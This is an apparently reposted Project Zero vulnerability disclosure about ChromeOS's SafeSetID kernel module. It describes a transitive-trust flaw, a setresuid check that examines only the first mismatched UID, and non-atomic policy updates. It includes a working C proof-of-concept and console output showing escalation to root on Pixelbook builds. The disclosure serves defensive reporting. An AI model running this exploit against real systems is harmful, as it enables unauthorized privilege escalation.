Google ChromeOS SafeSetID LSM Transitive Trust

2019.07.05
Credit: Jann Horn
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

ChromeOS: multiple issues in SafeSetID LSM I decided to take a look at the new SafeSetID LSM that ChromeOS upstreamed (<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/security/safesetid>) and found several issues. Since this LSM is already running on Pixelbook on the stable channel, I'm filing this as a security bug. This LSM restricts the use of CAP_SETUID by specific UIDs as follows: - The capability may only be used for set*uid() syscalls. - The use of CAP_SETUID to transition to UIDs that the process did not previously have in its credentials struct (as real, effective, or saved UID) is limited to a whitelist of target UIDs. The ruleset is manipulated through two securityfs entries; one of them clears the active ruleset (permitting everything), the other one adds a single entry to the ruleset (restricting the UID and adding a permitted transition for it at the same time) on every write(). The policies that Chrome OS uses (in the git master version) are at: <https://chromium.googlesource.com/chromiumos/platform2/+/master/shill/setuid_restrictions/shill_whitelist.txt> <https://chromium.googlesource.com/chromiumos/platform2/+/master/authpolicy/setuid_restrictions/authpolicyd_whitelist.txt> <https://chromium.googlesource.com/chromiumos/platform2/+/master/cros-disks/setuid_restrictions/cros_disks_whitelist.txt> The policy consists of lines that contain \"<srcuid>:<dstuid>\" pairs. The first problem is that a process can access any UID that is _transitively_ permitted by the policy. For example, the avfs user (UID 213) is allowed to transition to the nobody user (UID 65534), and since the nobody user is unconstrained, the process can then transition to any other UID. Weirdly, the policy shill_whitelist.txt contains two same-UID pairs to inhibit the use of setuid() from those two UIDs (openvpn and strongSwan), but other UIDs are left unconstrained. The second problem is this logic in the kernel code: /* * Users for which setuid restrictions exist cannot change the * real UID, effective UID, or saved set-UID to anything but * one of: the current real UID, the current effective UID or * the current saved set-user-ID unless an explicit whitelist * policy allows the transition. */ if (!uid_eq(new->uid, old->uid) && !uid_eq(new->uid, old->euid) && !uid_eq(new->uid, old->suid)) { return check_uid_transition(old->uid, new->uid); } if (!uid_eq(new->euid, old->uid) && !uid_eq(new->euid, old->euid) && !uid_eq(new->euid, old->suid)) { return check_uid_transition(old->euid, new->euid); } if (!uid_eq(new->suid, old->uid) && !uid_eq(new->suid, old->euid) && !uid_eq(new->suid, old->suid)) { return check_uid_transition(old->suid, new->suid); } break; The LSM only checks the first UID pair with a mismatch. So, for example, if a process with ruid=1,euid=1,suid=1 calls setresuid(2,3,4), the LSM only checks whether the transition 1->2 is permitted, but the process also gains access to UIDs 3 and 4. Apart from these bigger problems, I think that the non-atomic policy update mechanism is also problematic for several reasons, although these things might not be very relevant for you in the context of ChromeOS: - While a policy is being loaded, once a single parent-child pair has been loaded, the parent is restricted to that specific child, even if subsequent rules would allow transitions to other child UIDs. This means that during policy loading, set*uid() can randomly fail. - To replace the policy without rebooting, it is necessary to first flush all old rules. This creates a time window in which no constraints are placed on the use of CAP_SETUID. - If we want to perform sanity checks on the final policy, this requires that the policy isn't constructed in a piecemeal fashion without telling the kernel when it's done. Other kernel APIs - including things like the userns code and netfilter - avoid this problem by performing updates atomically. Luckily, SafeSetID hasn't landed in a stable (upstream) release yet, so maybe it's not too late to completely change the API. I am attaching a suggested patch series for this and other minor issues in the LSM. Feel free to use these, modify them, or write your own patches. I have tested these issues on a Pixelbook running Chrome OS stable in dev mode, version: Google Chrome 72.0.3626.122 (Official Build) (64-bit) Revision e78ac5b2c005af6b8bdcced26e44036559f636b0-refs/branch-heads/3626@{#884} Platform 11316.165.0 (Official Build) stable-channel eve Test code: =============== #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <sys/prctl.h> #include <err.h> #include <sys/capability.h> #include <linux/securebits.h> #include <stdlib.h> #define RESTRICTED_UID 213 #define ROOT_UID 0 #define ALLOWED_UID 301 int main(int argc, char **argv) { int mode = atoi(argv[1]); if (prctl(PR_SET_SECUREBITS, SECBIT_NO_SETUID_FIXUP)) err(1, \"PR_SET_SECUREBITS\"); cap_t my_cap = cap_init(); if (!my_cap) err(1, \"alloc cap\"); const cap_value_t retained_caps[] = { CAP_SETUID }; if (cap_set_flag(my_cap, CAP_EFFECTIVE, 1, retained_caps, CAP_SET)) err(1, \"cap_set_flag\"); if (cap_set_flag(my_cap, CAP_PERMITTED, 1, retained_caps, CAP_SET)) err(1, \"cap_set_flag\"); if (cap_set_proc(my_cap)) err(1, \"cap_set_proc\"); if (setresuid(RESTRICTED_UID, RESTRICTED_UID, RESTRICTED_UID)) err(1, \"setresuid ->restricted\"); if (mode == 0) { if (setresuid(ROOT_UID, ROOT_UID, ROOT_UID)) { err(1, \"setresuid ->root\"); } else { errx(1, \"setresuid ->root permitted\"); } } else if (mode == 1) { if (setresuid(ALLOWED_UID, ROOT_UID, ROOT_UID)) { err(1, \"setresuid ->root (1)\"); } else { puts(\"setresuid ->(allowed_safe,root,root) permitted\"); } if (setresuid(ROOT_UID, ROOT_UID, ROOT_UID)) { err(1, \"setresuid ->root (2)\"); } else { puts(\"setresuid ->(root,root,root) permitted\"); } } else if (mode == 2) { if (setresuid(ALLOWED_UID, ALLOWED_UID, ALLOWED_UID)) { err(1, \"setresuid ->allowed\"); } else { puts(\"setresuid ->(allowed,allowed,allowed) permitted\"); } if (setresuid(ROOT_UID, ROOT_UID, ROOT_UID)) { err(1, \"setresuid ->root\"); } else { puts(\"setresuid ->(root,root,root) permitted\"); } } } =============== Result: localhost ~ # /usr/local/static_test 0 static_test: setresuid ->root: Operation not permitted localhost ~ # /usr/local/static_test 1 setresuid ->(allowed_safe,root,root) permitted setresuid ->(root,root,root) permitted localhost ~ # /usr/local/static_test 2 setresuid ->(allowed,allowed,allowed) permitted setresuid ->(root,root,root) permitted localhost ~ # I also tested on dev channel, version: Google Chrome 74.0.3729.37 (Official Build) dev (64-bit) Revision cb7e0a034927b09464caabd916de28c4156306d7-refs/branch-heads/3729@{#441} Platform 11895.33.0 (Official Build) dev-channel eve SingleProcessMash Result: localhost / # /usr/local/static_test 0 static_test: setresuid ->root: Operation not permitted localhost / # /usr/local/static_test 1 setresuid ->(allowed_safe,root,root) permitted setresuid ->(root,root,root) permitted localhost / # /usr/local/static_test 2 setresuid ->(allowed,allowed,allowed) permitted setresuid ->(root,root,root) permitted localhost / # This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh@google.com


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